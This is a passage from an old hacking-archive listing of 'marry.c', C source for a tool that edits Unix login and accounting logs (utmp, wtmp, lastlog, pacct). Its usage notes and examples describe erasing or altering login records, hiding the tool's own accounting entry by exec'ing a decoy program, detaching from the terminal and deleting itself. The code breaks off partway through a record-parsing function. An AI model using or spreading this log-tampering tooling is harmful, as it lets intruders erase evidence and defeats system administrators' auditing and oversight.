home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / marry.c < prev    next >
Text File  |  1998-07-17  |  26KB  |  2,467 lines

  1.  
  2.  
  3.  
  4.  
  5. /* marry v1.1 (c) 1991 -- Proff -- proff@suburbia.apana.org.au,
  6.  
  7.  * All rights reserved.
  8.  
  9.  *
  10.  
  11.  * May there be peace in the world, and objectivity amoung men.
  12.  
  13.  *
  14.  
  15.  * You may not use this program for unethical purposes. 
  16.  
  17.  *
  18.  
  19.  * You may not use this program in relation to your employment, or for monetary
  20.  
  21.  * gain without express permission from the author.
  22.  
  23.  *
  24.  
  25.  * usage:  
  26.  
  27.  *   marry [-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]]
  28.  
  29.  *         [-E editor] [-h program] [-b backup ]
  30.  
  31.  *
  32.  
  33.  *   -a        automode, dump, run editor over dump and re-assemble to object
  34.  
  35.  *   -e        edit source, assemble directly to input file, imples no insertion
  36.  
  37.  *              of records before an equal quantity of deltion
  38.  
  39.  *   -t        truncate object to last line of dump source when assembling
  40.  
  41.  *   -s        squeeze, delete all record in input not occuring in dump
  42.  
  43.  *              (higher entries in input will be appended unless -t is also 
  44.  
  45.  *              specified)
  46.  
  47.  *   -u     when in [L]astlog mode do user-id -> name lookups (time consuming)
  48.  
  49.  *   -S        Security, when in [A]cct and -[a]uto mode replace editor's acct
  50.  
  51.  *              record with an unmodified random previous entry, detach from 
  52.  
  53.  *              terminal, SIGKILL ourselves or execlp [-h program] to hide our
  54.  
  55.  *              acct record (marry should be exec'ed under these circumstances)
  56.  
  57.  *   -c        clean, delete backup and dump files once complete
  58.  
  59.  *   -D        Delete our self once complete (i.e argv[0])
  60.  
  61.  *   -n        no backups, don't make backups when in -e, -a modes or when
  62.  
  63.  *              -i file == -o file
  64.  
  65.  *   -i src    input, the utmp, wtmp, lastlog or p/acct file concerned. defaults
  66.  
  67.  *              to the system wtmp/lastlog/pacct depending on mode if not specified
  68.  
  69.  *   -o obj     output, the dump assembled and input merged version of the
  70.  
  71.  *              above. if given and not in -[a]uto mode, implies we are 
  72.  
  73.  *              assembling, not dumping. 
  74.  
  75.  *   -d dump    dump, the dump (editable representation of src) file name. this
  76.  
  77.  *              is is either an input (-o specified) an output (no -o) or both
  78.  
  79.  *              -[a]uto. defaults to "marry.dmp" in the current directory if not
  80.  
  81.  *              specified
  82.  
  83.  *   -p pat     pattern match. When disassembling (dumping), only extract records
  84.  
  85.  *              which match (checked against all string fields, and the uid if
  86.  
  87.  *              the pattern is a valid username)
  88.  
  89.  *   -v pat    inverse pattern match. like egrep -v. above non-logic features.
  90.  
  91.  *   -m mode    mode is one of:
  92.  
  93.  *
  94.  
  95.  *            W  -  utmp/wtmp (or utmpx/wtmpx see UTMPX #define)
  96.  
  97.  *                      L  -  lastlog
  98.  
  99.  *                      A  -  acct/pacct
  100.  
  101.  *  
  102.  
  103.  *   -E editor    editor to be used in -[a]uto mode. defaults to /usr/bin/vi. must
  104.  
  105.  *              be the full path in -[S]ecurity mode (we do some clever
  106.  
  107.  *              symlinking)
  108.  
  109.  *   -h program hide, if -S mode is on, then attempt to conceal our acct entry by
  110.  
  111.  *              execlp'ing the specified program. this seems to work on BSD derived
  112.  
  113.  *              systems. with others, your might want to just call marry something
  114.  
  115.  *              innocous.
  116.  
  117.  *   -b backup  name of backup file, defaults to "marry.bak"
  118.  
  119.  * 
  120.  
  121.  *   the following instruction codes can be placed in position one of the dump
  122.  
  123.  *   lines to be assembled (e.g "0057a" -> "=057a"):
  124.  
  125.  *
  126.  
  127.  *   '='    tag modification of entry. 
  128.  
  129.  *   '+'    tag insertion of entry
  130.  
  131.  *
  132.  
  133.  * Examples:
  134.  
  135.  *
  136.  
  137.  * $ marry -mW -i /etc/utmp -s -a    # dump, edit, re-assemble and strip deleted
  138.  
  139.  *                                      # entries from utmp
  140.  
  141.  *  
  142.  
  143.  * $ marry -mL -u -a -n -e            # dump lastlog with usernames, edit, make no
  144.  
  145.  *                                      # backups and re-assemble in-situ directly to
  146.  
  147.  *                                      # lastlog
  148.  
  149.  *
  150.  
  151.  * $ marry -mW -a -p mil -E emacs    # dump all wtmp entries matching "mil", edit
  152.  
  153.  *                                      # with emacs, re-assemble and re-write to wtmp
  154.  
  155.  *
  156.  
  157.  * $ exec marry -mA -SceD         # dump all acct entries by root, edit, remove
  158.  
  159.  *     -h /usr/sbin/in.fingerd          # editor's acct record, re-assemble directly
  160.  
  161.  *     -p root -a -i /var/account/acct  # to acct in-situ, delete backup and dump file,
  162.  
  163.  *                                      # delete ourself from the disk, unassign our
  164.  
  165.  *                                      # controling terminal, and lastly overlay our
  166.  
  167.  *                                      # self (and thus our to be acct record) with
  168.  
  169.  *                                      # in.fingerd
  170.  
  171.  */
  172.  
  173.  
  174.  
  175. #define UTMP
  176.  
  177. #undef UTMPX /* solaris has both */
  178.  
  179. #define LASTLOG
  180.  
  181. #define PACCT
  182.  
  183.  
  184.  
  185. #include <stdio.h>
  186.  
  187. #include <unistd.h>
  188.  
  189. #include <stdlib.h>
  190.  
  191. #include <string.h>
  192.  
  193. #include <sys/types.h>
  194.  
  195. #include <sys/time.h>
  196.  
  197. #include <sys/stat.h>
  198.  
  199. #include <sys/wait.h>
  200.  
  201. #include <fcntl.h>
  202.  
  203. #include <signal.h>
  204.  
  205. #include <pwd.h>
  206.  
  207. #include <grp.h>
  208.  
  209. #include <errno.h>
  210.  
  211.  
  212.  
  213. #ifdef __SVR3
  214.  
  215. #  include <getopts.h>
  216.  
  217. #endif
  218.  
  219. #ifndef bsd
  220.  
  221. #  if defined(__NetBSD__) || defined(bsdi) || defined(BSDI) || defined(__386BSD__)
  222.  
  223. #    define bsd
  224.  
  225. #  endif
  226.  
  227. #endif
  228.  
  229.  
  230.  
  231. #if !defined(gcc)
  232.  
  233. #  define NO_VOID /* non gcc, early compiliers */
  234.  
  235. #endif
  236.  
  237.  
  238.  
  239. #ifndef __SVR3
  240.  
  241. extern char *optarg; 
  242.  
  243. #endif
  244.  
  245.  
  246.  
  247. #ifdef NO_VOID
  248.  
  249. #  define VOID int
  250.  
  251. #  define FVOID
  252.  
  253. #else 
  254.  
  255. #  define VOID void
  256.  
  257. #  define FVOID void
  258.  
  259. #endif
  260.  
  261.  
  262.  
  263. #ifndef bool 
  264.  
  265. #  define bool char
  266.  
  267. #endif
  268.  
  269.  
  270.  
  271. #define match(a,b) (match_s((a), (b), sizeof(a)))
  272.  
  273.  
  274.  
  275. #ifdef UTMP
  276.  
  277. #ifdef UTMPX
  278.  
  279. #  include <utmpx.h>
  280.  
  281. #  define S_UTMP utmpx
  282.  
  283. #  define UT_HOST ut_host
  284.  
  285. #  define UT_ID ut_id
  286.  
  287. #  define UT_TYPE ut_type
  288.  
  289. #  define UT_PID ut_pid
  290.  
  291. #  define UT_TV ut_tv
  292.  
  293. #  ifdef _PATH_WTMPX
  294.  
  295. #    define WTMP_FILE _PATH_WTMPX
  296.  
  297. #  else
  298.  
  299. #    ifdef WTMPX_FILE
  300.  
  301. #      define WTMP_FILE WTMPX_FILE
  302.  
  303. #    else
  304.  
  305. #      define WTMP_FILE "/usr/adm/wtmpx"
  306.  
  307. #    endif
  308.  
  309. #  endif
  310.  
  311. #else
  312.  
  313. #  include <utmp.h>
  314.  
  315. #  define S_UTMP utmp
  316.  
  317. #  ifndef WTMP_FILE
  318.  
  319. #    ifdef _PATH_WTMP
  320.  
  321. #      define WTMP_FILE _PATH_WTMP
  322.  
  323. #    else
  324.  
  325. #      define WTMP_FILE "/usr/adm/wtmp"
  326.  
  327. #    endif
  328.  
  329. #  endif
  330.  
  331. #  if !defined(ut_name) && !defined(ut_user)
  332.  
  333. #    define ut_user ut_name
  334.  
  335. #  endif
  336.  
  337. #  if defined(linux) || defined(bsd) || defined(sun)
  338.  
  339. #    define UT_HOST ut_host
  340.  
  341. #  endif
  342.  
  343. #  ifdef linux
  344.  
  345. #    define UT_ADDR ut_addr
  346.  
  347. #  endif
  348.  
  349. #  define UT_TIME ut_time
  350.  
  351. #  if defined(linux) || defined(solaris)
  352.  
  353. #    define UT_PID  ut_pid
  354.  
  355. #    define UT_ID   ut_id
  356.  
  357. #  endif
  358.  
  359. #  if defined(linux) || defined(solaris) || defined(sysv) || defined(SYSV) || defined(SVR4)
  360.  
  361. #    define UT_TYPE ut_type
  362.  
  363. #  endif
  364.  
  365. #endif
  366.  
  367. #endif
  368.  
  369.  
  370.  
  371. #ifdef LASTLOG
  372.  
  373. #  ifdef bsd
  374.  
  375. #    ifndef UTMP
  376.  
  377. #      include <utmp.h>
  378.  
  379. #    endif
  380.  
  381. #  else
  382.  
  383. #    include <lastlog.h>
  384.  
  385. #  endif
  386.  
  387. #  ifndef LASTLOG_FILE
  388.  
  389. #    ifdef _PATH_LASTLOG
  390.  
  391. #      define LASTLOG_FILE _PATH_LASTLOG
  392.  
  393. #    else
  394.  
  395. #      define LASTLOG_FILE "/usr/adm/lastlog"
  396.  
  397. #    endif
  398.  
  399. #  endif
  400.  
  401. #  define LL_HOST ll_host
  402.  
  403. #endif
  404.  
  405.  
  406.  
  407. #ifdef PACCT
  408.  
  409. #  include <sys/acct.h>
  410.  
  411. #  ifdef bsd
  412.  
  413. #    define PACCT_FILE "/var/account/acct"
  414.  
  415. #  else
  416.  
  417. #    define PACCT_FILE "/usr/adm/pacct"
  418.  
  419. #  endif
  420.  
  421. #endif
  422.  
  423.  
  424.  
  425. #ifdef UT_ADDR
  426.  
  427. #  include <arpa/inet.h>
  428.  
  429. #endif
  430.  
  431.  
  432.  
  433. FILE *ofh, *ifh, *afh;
  434.  
  435.  
  436.  
  437. #ifdef UTMP
  438.  
  439. struct S_UTMP s_utmp;
  440.  
  441. #endif
  442.  
  443. #ifdef LASTLOG
  444.  
  445. struct lastlog s_lastlog;
  446.  
  447. #endif
  448.  
  449. #ifdef PACCT
  450.  
  451. struct acct s_acct;
  452.  
  453. struct acct ac_saved;
  454.  
  455. int acct_step;
  456.  
  457. #endif
  458.  
  459. char ac_comm_hide[32];
  460.  
  461.  
  462.  
  463. struct passwd *uid;
  464.  
  465. struct passwd uid_s;
  466.  
  467. char **uida=NULL;
  468.  
  469. char **gida=NULL;
  470.  
  471.  
  472.  
  473. #define MAX_UID 65537
  474.  
  475.  
  476.  
  477. char *quotes="\"\"";
  478.  
  479.  
  480.  
  481. int globline=0;
  482.  
  483.  
  484.  
  485. char *a_Input=NULL;
  486.  
  487. char *a_Output=NULL;
  488.  
  489. char *a_Pattern=NULL;
  490.  
  491. char *a_Hide=NULL;
  492.  
  493. #ifdef sun
  494.  
  495. char *a_Editor="/usr/ucb/vi";
  496.  
  497. #else
  498.  
  499. char *a_Editor="/usr/bin/vi";
  500.  
  501. #endif
  502.  
  503. char *a_Dump="marry.dmp";
  504.  
  505. char *a_Backup="marry.bak";
  506.  
  507. bool f_Auto=0;
  508.  
  509. bool f_Squeeze=0;
  510.  
  511. bool f_EditSrc=0;
  512.  
  513. bool f_Truncate=0;
  514.  
  515. bool f_Exclude=0;
  516.  
  517. bool f_Uid=0;
  518.  
  519. bool f_Security=0;
  520.  
  521. bool f_Clean=0;
  522.  
  523. bool f_DeleteSelf=0;
  524.  
  525. bool f_NoBackups=0;
  526.  
  527. bool f_backedup;
  528.  
  529. char mode;
  530.  
  531.  
  532.  
  533. int mode_size=0;
  534.  
  535. void *mode_data;
  536.  
  537.  
  538.  
  539. int globline;
  540.  
  541. char *mes;
  542.  
  543. time_t otime=0;
  544.  
  545. FVOID display()
  546.  
  547. {
  548.  
  549. static int n;
  550.  
  551. time_t t;
  552.  
  553.     globline++;
  554.  
  555.     if (n++<30) return; /* don't want too many context switches */
  556.  
  557.     n=0;
  558.  
  559.     time(&t);
  560.  
  561.     if (t<(otime+1)) return;
  562.  
  563.     otime=t;
  564.  
  565.     printf("%s%d\r", mes, globline);
  566.  
  567.     fflush(stdout);
  568.  
  569. }
  570.  
  571. FVOID display_end()
  572.  
  573. {
  574.  
  575.     printf("%s%d\n", mes, globline);
  576.  
  577.     fflush(stdout);
  578.  
  579. }
  580.  
  581.  
  582.  
  583. #ifdef NO_VOID
  584.  
  585. char
  586.  
  587. #else
  588.  
  589. void
  590.  
  591. #endif
  592.  
  593. *
  594.  
  595. Smalloc(n)
  596.  
  597. int n;
  598.  
  599. {
  600.  
  601. #ifdef NO_VOID
  602.  
  603. char
  604.  
  605. #else
  606.  
  607. void
  608.  
  609. #endif
  610.  
  611. * p;
  612.  
  613.     while (!(p=malloc(n))) sleep(1);
  614.  
  615.     return p;
  616.  
  617. }
  618.  
  619.  
  620.  
  621. bool copyf(src, dst)
  622.  
  623. char *src;
  624.  
  625. char *dst;
  626.  
  627. {
  628.  
  629. #define CBUFLEN 128*1024
  630.  
  631. int fi, fo;
  632.  
  633. char *buf;
  634.  
  635. int cc;
  636.  
  637.     if ((fi=open(src, O_RDONLY, 0))<0)
  638.  
  639.     {
  640.  
  641.         perror(src);
  642.  
  643.         exit(1);
  644.  
  645.     }
  646.  
  647.     if ((fo=open(dst, O_WRONLY|O_CREAT|O_TRUNC, 0666))<0)
  648.  
  649.     {
  650.  
  651.         perror(dst);
  652.  
  653.         exit(1);
  654.  
  655.     }
  656.  
  657.     buf=Smalloc(CBUFLEN);
  658.  
  659.     while ((cc=read(fi, buf, CBUFLEN))>0)
  660.  
  661.         if (write(fo, buf, cc)!=cc)
  662.  
  663.         {
  664.  
  665.             perror(dst);
  666.  
  667.             exit(1);
  668.  
  669.         }
  670.  
  671.     close(fo);
  672.  
  673.     close(fi);
  674.  
  675.     free(buf);
  676.  
  677.     return 1;
  678.  
  679. }
  680.  
  681.  
  682.  
  683. bool backup(src)
  684.  
  685. char *src;
  686.  
  687. {
  688.  
  689.     printf("backup = %s\n", a_Backup);
  690.  
  691.     fflush(stdout);
  692.  
  693.     return copyf(src, a_Backup);
  694.  
  695. }
  696.  
  697.  
  698.  
  699. char *match_s(haystack, needle, n)
  700.  
  701. char *haystack;
  702.  
  703. char *needle;
  704.  
  705. int n;
  706.  
  707. {
  708.  
  709. static char tmp[256];
  710.  
  711.     strncpy(tmp, haystack, n>sizeof(tmp)? sizeof(tmp): n);
  712.  
  713.     return strstr(tmp, needle);
  714.  
  715. }
  716.  
  717.  
  718.  
  719. unsigned short atoi2(s)
  720.  
  721. char *s;
  722.  
  723. {
  724.  
  725.     return (s[0]-'0')*10+(s[1]-'0');
  726.  
  727. }
  728.  
  729.  
  730.  
  731. char *p_string(s, size)
  732.  
  733. char *s;
  734.  
  735. int size;
  736.  
  737. {
  738.  
  739. static char sss[1024];
  740.  
  741. register int n;
  742.  
  743. char *ss=sss;
  744.  
  745.     if (!*s) return quotes;
  746.  
  747.     
  748.  
  749.     for (n=0; n<size; n++)
  750.  
  751.     {
  752.  
  753.         char c=s[n];
  754.  
  755.         switch (c)
  756.  
  757.         {
  758.  
  759.         case '\\':
  760.  
  761.             *(ss++)=c;
  762.  
  763.             break;
  764.  
  765.         case ' ':
  766.  
  767.             *(ss++)='\\';
  768.  
  769.             break;
  770.  
  771.         case '\t':
  772.  
  773.             *(ss++)='\\';
  774.  
  775.             c='t';
  776.  
  777.             break;
  778.  
  779.         case '\n':
  780.  
  781.             *(ss++)='\\';
  782.  
  783.             c='n';
  784.  
  785.             break;
  786.  
  787.         case '\r':
  788.  
  789.             *(ss++)='\\';
  790.  
  791.             c='r';
  792.  
  793.             break;
  794.  
  795.         case 0:
  796.  
  797.             goto end;
  798.  
  799.         }
  800.  
  801.         *(ss++)=c;
  802.  
  803.     }
  804.  
  805. end:
  806.  
  807.     *ss=0;
  808.  
  809.     return sss;
  810.  
  811. }
  812.  
  813.  
  814.  
  815. char *skip_white(s)
  816.  
  817. char *s;
  818.  
  819. {    for (; *s && (*s=='\t' || *s==' '); s++);
  820.  
  821.     if (!*s || (*s=='\n')) return NULL;
  822.  
  823.     return s;
  824.  
  825. }
  826.  
  827.  
  828.  
  829. char *g_string(d, s, size)
  830.  
  831. char *d;
  832.  
  833. char *s;
  834.  
  835. int size;
  836.  
  837. {
  838.  
  839. int y;
  840.  
  841. char c;
  842.  
  843. char f_esc=0;
  844.  
  845.     for (y=0; y<size; y++) d[y]=0;
  846.  
  847.     if (!(s=skip_white(s))) return NULL;
  848.  
  849.     if (*s=='"' && *(s+1)=='"') return s+2;
  850.  
  851.     for (y=0; y<size; s++)
  852.  
  853.     {
  854.  
  855.         c=*s;
  856.  
  857.         if (f_esc)
  858.  
  859.         {
  860.  
  861.             switch(c)
  862.  
  863.             {
  864.  
  865.             case 'r':
  866.  
  867.                 c='\r';
  868.  
  869.                 break;
  870.  
  871.             case 'n':
  872.  
  873.                 c='\n';
  874.  
  875.                 break;
  876.  
  877.             case 't':
  878.  
  879.                 c='\t';
  880.  
  881.                 break;
  882.  
  883.             }
  884.  
  885.             f_esc=0;
  886.  
  887.         } else {
  888.  
  889.             switch(c)
  890.  
  891.             {
  892.  
  893.             case '\\':
  894.  
  895.                 f_esc=1;
  896.  
  897.                 continue;
  898.  
  899.             case ' ':
  900.  
  901.             case '\t':
  902.  
  903.             case '\n':
  904.  
  905.             case '\0':
  906.  
  907.                 goto end;
  908.  
  909.             }
  910.  
  911.         }
  912.  
  913.         d[y++]=c;
  914.  
  915.     }
  916.  
  917. end:
  918.  
  919.     return s+1;
  920.  
  921. }
  922.  
  923.  
  924.  
  925. char *time_s(tt)
  926.  
  927. time_t tt;
  928.  
  929. {
  930.  
  931. static char s[13];
  932.  
  933.     time_t t=tt; /* some compilers won't take a parameter address */
  934.  
  935.     struct tm *tp;
  936.  
  937.     tp=localtime(&t);
  938.  
  939.     sprintf(s, "%02d%02d%02d%02d%02d%02d",
  940.  
  941.         tp->tm_year, tp->tm_mon+1, tp->tm_mday,
  942.  
  943.         tp->tm_hour, tp->tm_min, tp->tm_sec);
  944.  
  945.     return s;
  946.  
  947. }
  948.  
  949.  
  950.  
  951. time_t time_i(s)
  952.  
  953. char *s;
  954.  
  955. {
  956.  
  957.     struct tm lt;
  958.  
  959.     time_t t;
  960.  
  961.     if (strlen(s)!=12) return (time_t)-1;
  962.  
  963.     time(&t);
  964.  
  965.     lt=*localtime(&t);
  966.  
  967.     lt.tm_year=atoi2(s);
  968.  
  969.     lt.tm_mon=atoi2(s+2)-1;
  970.  
  971.     lt.tm_mday=atoi2(s+4);
  972.  
  973.     lt.tm_hour=atoi2(s+6);
  974.  
  975.     lt.tm_min=atoi2(s+8);
  976.  
  977.     lt.tm_sec=atoi2(s+10);
  978.  
  979.     lt.tm_isdst=-1;
  980.  
  981.     return mktime(<);
  982.  
  983. }
  984.  
  985.  
  986.  
  987. char *
  988.  
  989. bgetgrgid(u)
  990.  
  991. gid_t u;
  992.  
  993. {
  994.  
  995. struct group *gr;
  996.  
  997.     if (!gida)
  998.  
  999.     {
  1000.  
  1001.         int n;
  1002.  
  1003.         gida=(char **)Smalloc(sizeof(char *)*MAX_UID);
  1004.  
  1005.         for (n=0; n<MAX_UID; n++) gida[n]=NULL; 
  1006.  
  1007.     }
  1008.  
  1009.     if (gida[u]==(char *)-1) return NULL;
  1010.  
  1011.     if (gida[u]) return gida[u];
  1012.  
  1013.     if (!(gr=getgrgid(u))) 
  1014.  
  1015.     {
  1016.  
  1017.         gida[u]=(char *)-1;
  1018.  
  1019.         return NULL;
  1020.  
  1021.     }
  1022.  
  1023.     gida[u]=Smalloc(strlen(gr->gr_name)+1);
  1024.  
  1025.     strcpy(gida[u], gr->gr_name);
  1026.  
  1027.     return gida[u];
  1028.  
  1029. }
  1030.  
  1031.  
  1032.  
  1033. char *
  1034.  
  1035. bgetpwuid(u)
  1036.  
  1037. uid_t u;
  1038.  
  1039. {
  1040.  
  1041. struct passwd *pw;
  1042.  
  1043.     if (!uida)
  1044.  
  1045.     {
  1046.  
  1047.         int n;
  1048.  
  1049.         uida=(char **)Smalloc(sizeof(struct passwd *)*MAX_UID);
  1050.  
  1051.         for (n=0; n<MAX_UID; n++) uida[n]=NULL; 
  1052.  
  1053.     }
  1054.  
  1055.     if (uida[u]==(char *)-1) return NULL;
  1056.  
  1057.     if (uida[u]) return uida[u];
  1058.  
  1059.     if (!(pw=getpwuid(u))) 
  1060.  
  1061.     {
  1062.  
  1063.         uida[u]=(char *)-1;
  1064.  
  1065.         return NULL;
  1066.  
  1067.     }
  1068.  
  1069.     uida[u]=Smalloc(strlen(pw->pw_name)+1);
  1070.  
  1071.     strcpy(uida[u], pw->pw_name);
  1072.  
  1073.     return uida[u];
  1074.  
  1075. }
  1076.  
  1077.  
  1078.  
  1079. #ifdef UTMP
  1080.  
  1081. bool dump_utmp(uline, ut)
  1082.  
  1083. int uline;
  1084.  
  1085. struct S_UTMP *ut;
  1086.  
  1087. {
  1088.  
  1089.     time_t tim;
  1090.  
  1091.     if (a_Pattern)
  1092.  
  1093.     {
  1094.  
  1095.         if (!match(ut->ut_user, a_Pattern) &&
  1096.  
  1097.             !match(ut->ut_line, a_Pattern)
  1098.  
  1099. #ifdef UT_HOST
  1100.  
  1101.             && !match(ut->UT_HOST, a_Pattern)
  1102.  
  1103. #endif
  1104.  
  1105.             ) {if (!f_Exclude) return 1;}
  1106.  
  1107.         else if (f_Exclude) return 1;
  1108.  
  1109.      }
  1110.  
  1111.     fprintf(afh, "%05x", uline-1);
  1112.  
  1113.     fprintf(afh, " %-8s", p_string(ut->ut_user, sizeof(ut->ut_user)));
  1114.  
  1115.     fprintf(afh, " %-11s", p_string(ut->ut_line, sizeof(ut->ut_line)));
  1116.  
  1117. #ifdef UT_ID
  1118.  
  1119.     fprintf(afh, " %-4s", p_string(ut->UT_ID, sizeof(ut->UT_ID)));
  1120.  
  1121. #endif
  1122.  
  1123. #ifdef UT_TYPE
  1124.  
  1125.     fprintf(afh, " %-2x", ut->UT_TYPE);
  1126.  
  1127. #endif
  1128.  
  1129. #ifdef UT_PID
  1130.  
  1131.     fprintf(afh, " %-5d", (int)ut->UT_PID);
  1132.  
  1133. #endif
  1134.  
  1135. #if defined(UT_TIME) || defined (UT_TV)
  1136.  
  1137. #  ifdef UT_TIME
  1138.  
  1139.     tim=ut->UT_TIME;
  1140.  
  1141. #  else
  1142.  
  1143.     tim=ut->UT_TV.tv_sec;
  1144.  
  1145. #  endif
  1146.  
  1147.     fprintf(afh, " %s", time_s(tim));
  1148.  
  1149. #endif
  1150.  
  1151. #ifdef UT_ADDR
  1152.  
  1153.     fprintf(afh, " %-15s", inet_ntoa(*((struct in_addr *)&ut->UT_ADDR)));
  1154.  
  1155. #endif
  1156.  
  1157. #ifdef UT_HOST
  1158.  
  1159.     fprintf(afh, " %s", p_string(ut->UT_HOST, sizeof(ut->UT_HOST)));
  1160.  
  1161. #endif
  1162.  
  1163.     fputc('\n', afh);
  1164.  
  1165.     return 1;
  1166.  
  1167. }
  1168.  
  1169. #endif
  1170.  
  1171.  
  1172.  
  1173. #ifdef LASTLOG
  1174.  
  1175. bool dump_lastlog(uline, ll)
  1176.  
  1177. int uline;
  1178.  
  1179. struct lastlog *ll;
  1180.  
  1181. {
  1182.  
  1183.     char *name;
  1184.  
  1185.     struct passwd *pw;
  1186.  
  1187.     if (f_Uid) 
  1188.  
  1189.     {
  1190.  
  1191.         pw=getpwuid(uline-1);
  1192.  
  1193.         name=pw? pw->pw_name: quotes;
  1194.  
  1195.     } else
  1196.  
  1197.     {
  1198.  
  1199.       static char s[6];
  1200.  
  1201.           sprintf(s, "%05d", uline-1);
  1202.  
  1203.         name=s;
  1204.  
  1205.     }
  1206.  
  1207.     if (a_Pattern)
  1208.  
  1209.     {
  1210.  
  1211.         if (
  1212.  
  1213.             (!uid || (uid->pw_uid!=(uline-1))) &&
  1214.  
  1215.             (!f_Uid || strstr(name, a_Pattern)) &&
  1216.  
  1217. #ifdef LL_HOST
  1218.  
  1219.             !match(ll->ll_host, a_Pattern) &&
  1220.  
  1221. #endif
  1222.  
  1223.             !match(ll->ll_line, a_Pattern)
  1224.  
  1225.             ) {if (!f_Exclude) return 1;}
  1226.  
  1227.         else if (f_Exclude) return 1;
  1228.  
  1229.      }
  1230.  
  1231.     fprintf(afh, "%05x", uline-1);
  1232.  
  1233.     fprintf(afh, " %-8s", name);
  1234.  
  1235.     fprintf(afh, " %-11s", p_string(ll->ll_line, sizeof(ll->ll_line)));
  1236.  
  1237.     fprintf(afh, " %s", time_s(ll->ll_time));
  1238.  
  1239. #ifdef LL_HOST
  1240.  
  1241.     fprintf(afh, " %s", p_string(ll->LL_HOST, sizeof(ll->LL_HOST)));
  1242.  
  1243. #endif
  1244.  
  1245.     fputc('\n', afh);
  1246.  
  1247.     return 1;
  1248.  
  1249. }
  1250.  
  1251. #endif
  1252.  
  1253.  
  1254.  
  1255. #ifdef PACCT
  1256.  
  1257. bool dump_pacct(uline, ac)
  1258.  
  1259. int uline;
  1260.  
  1261. struct acct *ac;
  1262.  
  1263. {
  1264.  
  1265.     char *name;
  1266.  
  1267.     char *gr_name;
  1268.  
  1269.     if (!(name=bgetpwuid(ac->ac_uid)))
  1270.  
  1271.     {
  1272.  
  1273.       static char s[6];
  1274.  
  1275.           sprintf(s, "%05d", ac->ac_uid);
  1276.  
  1277.         name=s;
  1278.  
  1279.     }
  1280.  
  1281.     if (!(gr_name=bgetgrgid(ac->ac_gid)))
  1282.  
  1283.     {
  1284.  
  1285.       static char s[6];
  1286.  
  1287.           sprintf(s, "%05d", ac->ac_gid);
  1288.  
  1289.         gr_name=s;
  1290.  
  1291.     }
  1292.  
  1293.     if (a_Pattern)
  1294.  
  1295.     {
  1296.  
  1297.         if (
  1298.  
  1299.             (!uid || (uid->pw_uid!=ac->ac_uid)) &&
  1300.  
  1301.             (strstr(name, a_Pattern)) &&
  1302.  
  1303.             (strstr(gr_name, a_Pattern))
  1304.  
  1305.             ) {if (!f_Exclude) return 1;}
  1306.  
  1307.         else if (f_Exclude) return 1;
  1308.  
  1309.     }
  1310.  
  1311.     fprintf(afh, "%05x", uline-1);
  1312.  
  1313.     fprintf(afh, " %-8s", name);
  1314.  
  1315.     fprintf(afh, " %-8s", gr_name);
  1316.  
  1317.     fprintf(afh, " %-10s", p_string(ac->ac_comm, sizeof(ac->ac_comm)));
  1318.  
  1319.     if (ac->ac_tty==(dev_t)-1)
  1320.  
  1321.         fputs(" ----", afh);
  1322.  
  1323.     else
  1324.  
  1325.         fprintf(afh, " %04x", ac->ac_tty);
  1326.  
  1327.     fprintf(afh, " %2x", ac->ac_flag);
  1328.  
  1329.     fprintf(afh, " %s", time_s(ac->ac_btime));
  1330.  
  1331.     fputc('\n', afh);
  1332.  
  1333.     return 1;
  1334.  
  1335. }
  1336.  
  1337. #endif
  1338.  
  1339.  
  1340.  
  1341. FVOID makedump()
  1342.  
  1343. {
  1344.  
  1345. int uline;
  1346.  
  1347.     if ((ifh=fopen(a_Input, "r"))==NULL)
  1348.  
  1349.     {
  1350.  
  1351.         perror(a_Input);
  1352.  
  1353.         exit(1);
  1354.  
  1355.     }
  1356.  
  1357.     if ((afh=fopen(a_Dump, "w"))==NULL)
  1358.  
  1359.     {
  1360.  
  1361.         perror(a_Dump);
  1362.  
  1363.         exit(1);
  1364.  
  1365.     }
  1366.  
  1367.     fputc('\n', stdout);
  1368.  
  1369.     globline=0;
  1370.  
  1371.     mes="entries disassembled: ";
  1372.  
  1373.     for (uline=1; fread(mode_data, mode_size, 1, ifh)>0; uline++)
  1374.  
  1375.     {
  1376.  
  1377.         display();
  1378.  
  1379.         switch(mode)
  1380.  
  1381.         {
  1382.  
  1383. #ifdef UTMP
  1384.  
  1385.         case 'W':
  1386.  
  1387.             dump_utmp(uline, mode_data);
  1388.  
  1389.             break;
  1390.  
  1391. #endif
  1392.  
  1393. #ifdef LASTLOG
  1394.  
  1395.         case 'L':
  1396.  
  1397.             dump_lastlog(uline, mode_data);
  1398.  
  1399.             break;
  1400.  
  1401. #endif
  1402.  
  1403. #ifdef PACCT
  1404.  
  1405.         case 'A':
  1406.  
  1407.             dump_pacct(uline, mode_data);
  1408.  
  1409.             break;
  1410.  
  1411. #endif
  1412.  
  1413.         }
  1414.  
  1415.     }
  1416.  
  1417.     display_end();
  1418.  
  1419.     fclose(afh);
  1420.  
  1421.     fclose(ifh);
  1422.  
  1423. }
  1424.  
  1425.  
  1426.  
  1427. int seek_ifh(uline)
  1428.  
  1429. int uline;
  1430.  
  1431. {
  1432.  
  1433.     if (ftell(ifh)!=mode_size*(uline-1))
  1434.  
  1435.         if (fseek(ifh, mode_size*(uline-1), SEEK_SET)==-1)
  1436.  
  1437.             return 0;
  1438.  
  1439.     return 1;
  1440.  
  1441. }
  1442.  
  1443.  
  1444.  
  1445. #ifdef UTMP
  1446.  
  1447. int mod_utmp(ut, p)
  1448.  
  1449. struct S_UTMP *ut;
  1450.  
  1451. char *p;
  1452.  
  1453. {
  1454.  
  1455.     char *op;
  1456.  
  1457. static char tmp[255];
  1458.  
  1459. #if defined(UT_TIME) || defined(UT_TV)
  1460.  
  1461. #endif
  1462.  
  1463.     op=p;
  1464.  
  1465.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  1466.  
  1467.     if (!(p=g_string(ut->ut_user, p, sizeof(ut->ut_user)))) return 0;
  1468.  
  1469.     if (!(p=g_string(ut->ut_line, p, sizeof(ut->ut_line)))) return 0;
  1470.  
  1471. #ifdef UT_ID
  1472.  
  1473.     if (!(p=g_string(ut->UT_ID, p, sizeof(ut->UT_ID)))) return 0;
  1474.  
  1475. #endif
  1476.  
  1477. #ifdef UT_TYPE
  1478.  
